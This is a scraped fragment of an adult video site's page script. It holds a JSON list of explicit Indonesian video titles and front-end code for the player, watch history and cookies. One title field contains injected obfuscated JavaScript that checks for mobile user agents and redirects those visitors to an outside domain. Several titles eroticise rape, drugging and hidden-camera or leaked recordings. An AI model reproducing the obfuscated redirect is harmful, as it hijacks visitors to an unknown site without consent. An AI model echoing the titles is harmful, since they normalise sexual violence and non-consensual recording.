Karena tak mampu menahan nafsunya setelah melihat bokong indah seorang wanita muda yang sudah menikah saat berlibur di pemandian air panas, ia memaksakan diri padanya, hanya untuk menemukan bahwa wanita itu ternyata juga bernafsu. Ia kemudian merahasiakan hal ini dari suaminya. MRHP-032-C
Seorang pelayan cantik dengan bokong besar langsung disetubuhi saat membersihkan bokongnya yang tidak terlindungi dan menjadi gila dengan anusnya yang terbuka, dan disetubuhi berulang kali. Akari Tsumugi Madonna","lastmod":"2026-07-11","duration":"02:00:23","url":"/play/19161569.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTZhYzQwODM4ZGEyZDY5ZGM3ZDE5YmU3OTY2Njc4ZjQuanBn.cache","vod_id":18979575,"title":"FC2PPV 3601855 [Gonzo / Creampie] Setelah keluar sebentar, saya membawa seorang wanita cantik yang sudah menikah ke kamar saya dan berejakulasi di dalam dirinya.","lastmod":"2025-12-14","duration":"00:42:12","url":"/play/18979575.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMThiZTg1YTlhZDM5NmQ5ODEwMDE0ZDRmYmYzZDYwYmEuanBn.cache","vod_id":19007042,"title":"HND-333 Alat kelamin ibu rumah tangga yang imut tiba-tiba terangsang! Seks penetrasi seperti anjing Ayumi Shinoda","lastmod":"2025-03-24","duration":"01:58:25","url":"/play/19007042.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly8xNTI2MDMwOXAudG9wLzIwMjYwMzE0L0JoZnBFWDF2LzEuanBn.cache","vod_id":19148403,"title":"Seorang dewi yang sangat cantik dengan mata yang menawan tampil dalam pertunjukan dewasa yang berani.","lastmod":"2026-03-15","duration":"01:15:46","url":"/play/19148403.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODk3NDczYzgyZDBkZjJiNmJkMWRlMjVhMjFiNzNjZTkuanBn.cache","vod_id":18926763,"title":"Pria bertato bercinta penuh gairah dengan wanita berbaju dalam di hotel; seks oral, permainan vagina, memegang pantatnya, dorongan, erangan, dan napas terengah-engah—sangat menggoda. Jangan sampai ketinggalan!","lastmod":"2025-12-14","duration":"02:09:53","url":"/play/18926763.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMTM2MTdkOGEyNThjMGQyYjE0NDg4ZGVjM2E5YTdiMWMuanBn.cache","vod_id":19151616,"title":"Untuk memperingati hubungan kita, aku pergi berlibur ke luar negeri, dengan mengatakan aku akan bekerja sebagai model telanjang. Kontak dengan pacarku (Mitsuki) telah terputus—[Payudaraku yang indah sedang dipijat MIDA-498]","lastmod":"2026-04-04","duration":"02:04:21","url":"/play/19151616.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvYWIwZmU5Njc2ZDNiNWQ2Mjg2YzBlNWI0MTNjNDJiMzguanBn.cache","vod_id":19161574,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Pemotretan pertama ibu rumah tangga pecinta daging salju berusia lima puluh tahun Ayano (52 tahun) Kitchikus - Delusion Tribe","lastmod":"2026-07-11","duration":"02:07:36","url":"/play/19161574.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMDQvN2VhMmQ4OTlkZDc4YzRmMjQ3OTcxZmFmZTQwZjQ5ZGMuanBn.cache","vod_id":19056010,"title":"Seorang wanita cantik dan menawan yang melakukan siaran langsung, mengenakan stoking berlubang di selangkangan, melakukan masturbasi sambil memamerkan vulva merah mudanya yang cantik.","lastmod":"2025-10-03","duration":"07:35","url":"/play/19056010.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDYxNmU3Y2QzM2UwZjU2ODIzMzhjZTc3YzQzOTUyODIuanBn.cache","vod_id":18930702,"title":"Paco111919_209 Yukari Makino, seorang istri amatir, pertama kali membuat film dokumenter 84","lastmod":"2025-12-14","duration":"00:58:58","url":"/play/18930702.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDkzMGUyYjA3ZTM5YWRjMTYxY2ZiNWJlYjYzZDZkYWIuanBn.cache","vod_id":19008819,"title":"OVG118 Serangan Malam: Istri Diperkosa di Samping Suami yang Sedang Tidur di Tengah Malam (9)","lastmod":"2025-03-24","duration":"02:49:54","url":"/play/19008819.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMGZiZTZlMzg0YWQ5ZjMzNTAyNmI1ODAyY2Y4MzYwYmUuanBn.cache","vod_id":19011029,"title":"JUFE116CN Perjalanan Pelatihan NTR Seks Kelompok. Pacar saya diberi alkohol dan afrodisiak oleh karyawan baru selama perjalanan pelatihan perusahaan, dan dirayu oleh mereka... Maru Chikako.","lastmod":"2025-03-24","duration":"02:30:12","url":"/play/19011029.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMzAvNGU1NzFjZmE3NmNlZmRmYmVlMDEwNWY4YjZjMjAyM2IuanBn.cache","vod_id":19060375,"title":"Pengalaman pertama seorang wanita yang sudah menikah dengan perselingkuhan menantinya dalam keputusasaan. (Otsuki Hibiki MEYD-878)","lastmod":"2025-10-29","duration":"01:55:50","url":"/play/19060375.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTA3MmJiNjU3YTg5NDgzNTNmNjkwNTVjMDc2MzA0M2UuanBn.cache","vod_id":18990534,"title":"Kamera Tersembunyi 360 di Hotel - Pasangan Muda Berhubungan Seks di Hotel","lastmod":"2025-03-23","duration":"01:18:05","url":"/play/18990534.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMDQvZDM0N2U5NWMzMjI3MDA4Nzk2ZjMyMWQwM2Y1Mzk0NWYuanBn.cache","vod_id":19061133,"title":"Lihatlah stoking hitamku, aku jadi bergairah! Bos wanitaku yang cantik dengan lembut membimbingku melewati stoking hitamnya! Aktor tak dikenal SW_972","lastmod":"2025-11-03","duration":"03:36:10","url":"/play/19061133.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZTBlNGQ0NjY0ZjJlY2U2ZDRlNWQwNzQwYjBiYTQ2OGEuanBn.cache","vod_id":19149924,"title":"Perkelahian seks berkelompok, barisan gadis-gadis muda dan seksi","lastmod":"2026-03-24","duration":"02:40:50","url":"/play/19149924.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTVkZWI2YjFmZmE3NjAyMDQ4YzAwNTg0NjU0NjU3NGEuanBn.cache","vod_id":18969075,"title":"推荐!新人!正宗校花下海~【崽崽】超漂亮! 100%心动感觉~! ~ ~✨✨✨--又有新鲜的少女肉体可以看了-003905-602","lastmod":"2025-12-14","duration":"00:56:14","url":"/play/18969075.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvM2I1NDU0MDUwYTdkMDM3ZWYxNzY0YzQzMmNmNWY4NDguanBn.cache","vod_id":19152298,"title":"Bocoran Video Seks Amatir - Ibu Rumah Tangga Seksi Bertubuh Langsing dan Berpayudara Besar Bersama Suaminya Berhubungan Seks dengan Penuh Gairah","lastmod":"2026-04-08","duration":"56:23","url":"/play/19152298.html"}]},
videoTitle: 'Karena tak mampu menahan nafsunya setelah melihat bokong indah seorang wanita muda yang sudah menikah saat berlibur di pemandian air panas, ia memaksakan diri padanya, hanya untuk menemukan bahwa wanita itu ternyata juga bernafsu. Ia kemudian merahasiakan hal ini dari suaminya. MRHP-032-C',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}